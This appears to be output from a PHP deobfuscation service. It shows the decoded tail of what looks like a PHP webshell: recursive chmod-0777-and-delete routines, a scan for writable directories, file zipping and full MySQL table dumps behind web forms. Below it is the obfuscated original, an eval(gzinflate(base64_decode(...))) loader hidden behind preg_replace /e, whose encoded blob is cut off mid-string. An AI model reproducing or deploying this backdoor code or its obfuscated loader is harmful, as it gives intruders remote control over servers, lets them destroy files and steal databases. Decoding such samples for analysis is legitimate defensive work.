while ( $file = $mydir->read() ) {
if ( ( is_dir( $deldir . '/' . $file ) ) && ( $file != '.' ) && ( $file != '..' ) ) {
@chmod( $deldir . '/' . $file, 0777 );
deltree( $deldir . '/' . $file );
}
if ( is_file( $deldir . '/' . $file ) ) {
@chmod( $deldir . '/' . $file, 0777 );
@unlink( $deldir . '/' . $file );
}
}
$mydir->close();
@chmod( $deldir, 0777 );
return @rmdir( $deldir ) ? 1 : 0;
}
function bg( )
{
global $bgc;
return ( $bgc++ % 2 == 0 ) ? 'alt1' : 'alt2';
}
function getPath( $scriptpath, $nowpath )
{
if ( $nowpath == '.' ) {
$nowpath = $scriptpath;
}
$nowpath = str_replace( '\\', '/', $nowpath );
$nowpath = str_replace( '//', '/', $nowpath );
if ( substr( $nowpath, -1 ) != '/' ) {
$nowpath = $nowpath . '/';
}
return $nowpath;
}
function getUpPath( $nowpath )
{
$pathdb = explode( '/', $nowpath );
$num = count( $pathdb );
if ( $num > 2 ) {
unset( $pathdb[ $num - 1 ], $pathdb[ $num - 2 ] );
}
$uppath = implode( '/', $pathdb ) . '/';
$uppath = str_replace( '//', '/', $uppath );
return $uppath;
}
function getcfg( $varname )
{
$result = get_cfg_var( $varname );
if ( $result == 0 ) {
return 'No';
} elseif ( $result == 1 ) {
return 'Yes';
} else {
return $result;
}
}
function getfun( $funName )
{
return ( false !== function_exists( $funName ) ) ? 'Yes' : 'No';
}
function GetList( $dir )
{
global $dirdata, $j, $nowpath;
!$j && $j = 1;
if ( $dh = opendir( $dir ) ) {
while ( $file = readdir( $dh ) ) {
$f = str_replace( '//', '/', $dir . '/' . $file );
if ( $file != '.' && $file != '..' && is_dir( $f ) ) {
if ( is_writable( $f ) ) {
$dirdata[ $j ][ 'filename' ] = str_replace( $nowpath, '', $f );
$dirdata[ $j ][ 'mtime' ] = @date( 'Y-m-d H:i:s', filemtime( $f ) );
$dirdata[ $j ][ 'dirchmod' ] = getChmod( $f );
$dirdata[ $j ][ 'dirperm' ] = getPerms( $f );
$dirdata[ $j ][ 'dirlink' ] = ue( $dir );
$dirdata[ $j ][ 'server_link' ] = $f;
$dirdata[ $j ][ 'client_link' ] = ue( $f );
$j++;
}
GetList( $f );
}
}
closedir( $dh );
clearstatcache();
return $dirdata;
} else {
return array( );
}
}
function qy( $sql )
{
$res = $error = '';
if ( !$res = @mysql_query( $sql ) ) {
return 0;
} else if ( is_resource( $res ) ) {
return 1;
} else {
return 2;
}
return 0;
}
function q( $sql )
{
return @mysql_query( $sql );
}
function fr( $qy )
{
mysql_free_result( $qy );
}
function sizecount( $size )
{
if ( $size > 1073741824 ) {
$size = round( $size / 1073741824 * 100 ) / 100 . ' G';
} elseif ( $size > 1048576 ) {
$size = round( $size / 1048576 * 100 ) / 100 . ' M';
} elseif ( $size > 1024 ) {
$size = round( $size / 1024 * 100 ) / 100 . ' K';
} else {
$size = $size . ' B';
}
return $size;
}
class PHPZip
{
var $out = '';
function PHPZip( $dir )
{
if ( @function_exists( 'gzcompress' ) ) {
$curdir = getcwd();
if ( is_array( $dir ) )
$filelist = $dir;
else {
$filelist = $this->GetFileList( $dir );
foreach ( $filelist as $k => $v )
$filelist[ ] = substr( $v, strlen( $dir ) + 1 );
}
if ( ( !empty( $dir ) ) && ( !is_array( $dir ) ) && ( file_exists( $dir ) ) )
chdir( $dir );
else
chdir( $curdir );
if ( count( $filelist ) > 0 ) {
foreach ( $filelist as $filename ) {
if ( is_file( $filename ) ) {
$fd = fopen( $filename, 'r' );
$content = @fread( $fd, filesize( $filename ) );
fclose( $fd );
if ( is_array( $dir ) )
$filename = basename( $filename );
$this->addFile( $content, $filename );
}
}
$this->out = $this->file();
chdir( $curdir );
}
return 1;
} else
return 0;
}
function GetFileList( $dir )
{
static $a;
if ( is_dir( $dir ) ) {
if ( $dh = opendir( $dir ) ) {
while ( $file = readdir( $dh ) ) {
if ( $file != '.' && $file != '..' ) {
$f = $dir . '/' . $file;
if ( is_dir( $f ) )
$this->GetFileList( $f );
$a[ ] = $f;
}
}
closedir( $dh );
}
}
return $a;
}
var $datasec = array( );
var $ctrl_dir = array( );
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime( $unixtime = 0 )
{
$timearray = ( $unixtime == 0 ) ? getdate() : getdate( $unixtime );
if ( $timearray[ 'year' ] < 1980 ) {
$timearray[ 'year' ] = 1980;
$timearray[ 'mon' ] = 1;
$timearray[ 'mday' ] = 1;
$timearray[ 'hours' ] = 0;
$timearray[ 'minutes' ] = 0;
$timearray[ 'seconds' ] = 0;
}
return ( ( $timearray[ 'year' ] - 1980 ) << 25 ) | ( $timearray[ 'mon' ] << 21 ) | ( $timearray[ 'mday' ] << 16 ) | ( $timearray[ 'hours' ] << 11 ) | ( $timearray[ 'minutes' ] << 5 ) | ( $timearray[ 'seconds' ] >> 1 );
}
function addFile( $data, $name, $time = 0 )
{
$name = str_replace( '\\', '/', $name );
$dtime = dechex( $this->unix2DosTime( $time ) );
$hexdtime = '\x' . $dtime[ 6 ] . $dtime[ 7 ] . '\x' . $dtime[ 4 ] . $dtime[ 5 ] . '\x' . $dtime[ 2 ] . $dtime[ 3 ] . '\x' . $dtime[ 0 ] . $dtime[ 1 ];
eval( '$hexdtime = "' . $hexdtime . '";' );
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen( $data );
$crc = crc32( $data );
$zdata = gzcompress( $data );
$c_len = strlen( $zdata );
$zdata = substr( substr( $zdata, 0, strlen( $zdata ) - 4 ), 2 );
$fr .= pack( 'V', $crc );
$fr .= pack( 'V', $c_len );
$fr .= pack( 'V', $unc_len );
$fr .= pack( 'v', strlen( $name ) );
$fr .= pack( 'v', 0 );
$fr .= $name;
$fr .= $zdata;
$fr .= pack( 'V', $crc );
$fr .= pack( 'V', $c_len );
$fr .= pack( 'V', $unc_len );
$this->datasec[ ] = $fr;
$new_offset = strlen( implode( '', $this->datasec ) );
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack( 'V', $crc );
$cdrec .= pack( 'V', $c_len );
$cdrec .= pack( 'V', $unc_len );
$cdrec .= pack( 'v', strlen( $name ) );
$cdrec .= pack( 'v', 0 );
$cdrec .= pack( 'v', 0 );
$cdrec .= pack( 'v', 0 );
$cdrec .= pack( 'v', 0 );
$cdrec .= pack( 'V', 32 );
$cdrec .= pack( 'V', $this->old_offset );
$this->old_offset = $new_offset;
$cdrec .= $name;
$this->ctrl_dir[ ] = $cdrec;
}
function file( )
{
$data = implode( '', $this->datasec );
$ctrldir = implode( '', $this->ctrl_dir );
return $data . $ctrldir . $this->eof_ctrl_dir . pack( 'v', sizeof( $this->ctrl_dir ) ) . pack( 'v', sizeof( $this->ctrl_dir ) ) . pack( 'V', strlen( $ctrldir ) ) . pack( 'V', strlen( $data ) ) . "\x00\x00";
}
}
function sqldumptable( $table, $fp = 0 )
{
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield = 1;
$fields = q( "SHOW FIELDS FROM $table" );
while ( $field = mysql_fetch_array( $fields ) ) {
if ( !$firstfield ) {
$tabledump .= ",\n";
} else {
$firstfield = 0;
}
$tabledump .= " $field[Field] $field[Type]";
if ( !empty( $field[ "Default" ] ) ) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ( $field[ 'Null' ] != "YES" ) {
$tabledump .= " NOT NULL";
}
if ( $field[ 'Extra' ] != "" ) {
$tabledump .= " $field[Extra]";
}
}
fr( $fields );
$keys = q( "SHOW KEYS FROM $table" );
while ( $key = mysql_fetch_array( $keys ) ) {
$kname = $key[ 'Key_name' ];
if ( $kname != "PRIMARY" && $key[ 'Non_unique' ] == 0 ) {
$kname = "UNIQUE|$kname";
}
if ( !is_array( $index[ $kname ] ) ) {
$index[ $kname ] = array( );
}
$index[ $kname ][ ] = $key[ 'Column_name' ];
}
fr( $keys );
while ( list( $kname, $columns ) = @each( $index ) ) {
$tabledump .= ",\n";
$colnames = implode( $columns, "," );
if ( $kname == "PRIMARY" ) {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if ( substr( $kname, 0, 6 ) == "UNIQUE" ) {
$kname = substr( $kname, 7 );
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ( $fp ) {
fwrite( $fp, $tabledump );
} else {
echo $tabledump;
}
$rows = q( "SELECT * FROM $table" );
$numfields = mysql_num_fields( $rows );
while ( $row = mysql_fetch_array( $rows ) ) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter = -1;
$firstfield = 1;
while ( ++$fieldcounter < $numfields ) {
if ( !$firstfield ) {
$tabledump .= ", ";
} else {
$firstfield = 0;
}
if ( !isset( $row[ $fieldcounter ] ) ) {
$tabledump .= "NULL";
} else {
$tabledump .= "'" . mysql_escape_string( $row[ $fieldcounter ] ) . "'";
}
}
$tabledump .= ");\n";
if ( $fp ) {
fwrite( $fp, $tabledump );
} else {
echo $tabledump;
}
}
fr( $rows );
if ( $fp ) {
fwrite( $fp, "\n" );
} else {
echo "\n";
}
}
function ue( $str )
{
return urlencode( $str );
}
function p( $str )
{
echo $str . "\n";
}
function tbhead( )
{
p( '<table width="100%" border="0" cellpadding="4" cellspacing="0">' );
}
function tbfoot( )
{
p( '</table>' );
}
function makehide( $name, $value = '' )
{
p( "<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />" );
}
function makeinput( $arg = array( ) )
{
$arg[ 'size' ] = $arg[ 'size' ] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg[ 'extra' ] = $arg[ 'extra' ] ? $arg[ 'extra' ] : '';
!$arg[ 'type' ] && $arg[ 'type' ] = 'text';
$arg[ 'title' ] = $arg[ 'title' ] ? $arg[ 'title' ] . '<br />' : '';
$arg[ 'class' ] = $arg[ 'class' ] ? $arg[ 'class' ] : 'input';
if ( $arg[ 'newline' ] ) {
p( "<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>" );
} else {
p( "$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />" );
}
}
function makeselect( $arg = array( ) )
{
if ( $arg[ 'onchange' ] ) {
$onchange = 'onchange="' . $arg[ 'onchange' ] . '"';
}
$arg[ 'title' ] = $arg[ 'title' ] ? $arg[ 'title' ] : '';
if ( $arg[ 'newline' ] )
p( '<p>' );
p( "$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>" );
if ( is_array( $arg[ 'option' ] ) ) {
foreach ( $arg[ 'option' ] as $key => $value ) {
if ( $arg[ 'selected' ] == $key ) {
p( "<option value=\"$key\" selected>$value</option>" );
} else {
p( "<option value=\"$key\">$value</option>" );
}
}
}
p( "</select>" );
if ( $arg[ 'newline' ] )
p( '</p>' );
}
function formhead( $arg = array( ) )
{
!$arg[ 'method' ] && $arg[ 'method' ] = 'post';
!$arg[ 'action' ] && $arg[ 'action' ] = $self;
$arg[ 'target' ] = $arg[ 'target' ] ? "target=\"$arg[target]\"" : '';
!$arg[ 'name' ] && $arg[ 'name' ] = 'form1';
p( "<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>" );
if ( $arg[ 'title' ] ) {
p( '<h2>' . $arg[ 'title' ] . ' »</h2>' );
}
}
function maketext( $arg = array( ) )
{
!$arg[ 'cols' ] && $arg[ 'cols' ] = 100;
!$arg[ 'rows' ] && $arg[ 'rows' ] = 25;
$arg[ 'title' ] = $arg[ 'title' ] ? $arg[ 'title' ] . '<br />' : '';
p( "<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>" );
}
function formfooter( $name = '' )
{
!$name && $name = 'submit';
p( '<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Submit"></p>' );
p( '</form>' );
}
function formfoot( )
{
p( '</form>' );
}
function pr( $a )
{
echo '<pre>';
print_r( $a );
echo '</pre>';
}
?>
Did this file decode correctly?
Original Code
<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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